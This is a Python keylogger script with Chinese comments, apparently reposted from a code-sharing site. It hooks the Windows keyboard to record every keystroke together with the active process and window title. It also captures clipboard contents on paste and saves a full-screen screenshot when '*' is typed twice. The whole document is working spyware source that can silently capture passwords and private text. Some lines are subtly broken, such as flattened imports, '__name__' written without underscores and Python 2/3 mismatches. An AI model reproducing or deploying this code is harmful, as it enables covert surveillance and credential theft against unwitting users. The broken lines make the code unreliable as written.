-- coding: UTF-8 --

##############################################################################

程序名:keylogger_screenshot.py

功能:利用Python第三方库PyHook实现键盘记录,在用户连续输入'*'时,对屏幕进行截图,并以图片形式保存。

说 明:运行平台Windows。它利用Windows的SetWindowsHookEx函数注册了一个自

定义的钩子函数,通过函数就能截获用户的按键消息。

##############################################################################

from ctypes import * import pythoncom import pyHook import win32clipboard import win32gui import win32ui import win32con import win32api

user32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = None count = 0

def get_current_process(): hwnd = user32.GetForegroundWindow() # 获得前台窗口句柄 pid = c_ulong(0) user32.GetWindowThreadProcessId(hwnd, byref(pid)) process_id = "%d" % pid.value # 获得进程PID

executable = create_string_buffer("\x00" * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)  # 获得进程名

window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title), 512)  # 获得窗口名

print("[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value))

kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)

def key_event(event): global current_window global count

if event.WindowName != current_window:  # 检查目标是否切换了窗口
    current_window = event.WindowName
    get_current_process()

if 32 < event.Ascii < 127:  # 检查是否为常规按键
    print(chr(event.Ascii), end='')
    if chr(event.Ascii) == '*':  # 如果用户输入了'*',则进行截图
        count += 1
        if count == 1:  # 第一次输入'*',提示用户再输入一次
            print("\nPlease input '*' again to take a screenshot.")
        elif count == 2:  # 第二次输入'*',进行截图
            print("\nTaking screenshot...")
            hdesktop = win32gui.GetDesktopWindow()  # 获得桌面窗口句柄

            # 获得显示器尺寸
            width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
            height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
            left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
            top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

            desktop_dc = win32gui.GetWindowDC(hdesktop)  # 创建设备描述表
            img_dc = win32ui.CreateDCFromHandle(desktop_dc)

            mem_dc = img_dc.CreateCompatibleDC()  # 创建基于内存的设备描述表

            screenshot = win32ui.CreateBitmap()
            screenshot.CreateCompatibleBitmap(img_dc, width, height)  # 创建位图对象
            mem_dc.SelectObject(screenshot)
            mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)  # 复制屏幕
            # screenshot.SaveBitmapFile(mem_dc, 'C:/screen.bmp')  # 将位图保存到文件
            # 保存到文件
            screenshot.SaveBitmapFile(mem_dc, 'C:/Users/20205/PycharmProjects/pythonProject/screen.bmp')
            print("Screenshot saved to C:/Users/20205/PycharmProjects/pythonProject/screen.bmp")

            # # 内存释放
            mem_dc.DeleteDC()
            win32gui.DeleteObject(screenshot.GetHandle())

            count = 0  # 重置计数器

else:
    if event.Key == "V":  # 如果是Ctrl+V,则获取剪贴板内容
        win32clipboard.OpenClipboard()
        pasted_value = win32clipboard.GetClipboardData()
        win32clipboard.CloseClipboard()
        print("[PASTE] - %s" % pasted_value, end='')
    else:
        print("[%s]" % event.Key, end='')

return True  # 返回到下一个钩子事件

def key_logger(): hooker = pyHook.HookManager() # 创建钩子函数管理器 hooker.KeyDown = key_event # 注册钩子按键事件的处理函数 hooker.HookKeyboard() # 创建键盘钩子 pythoncom.PumpMessages()

if name == 'main': key_logger()

Python 键盘记录并连续输入 '*' 时截屏代码示例

原文地址: https://www.cveoy.top/t/topic/nAPn 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录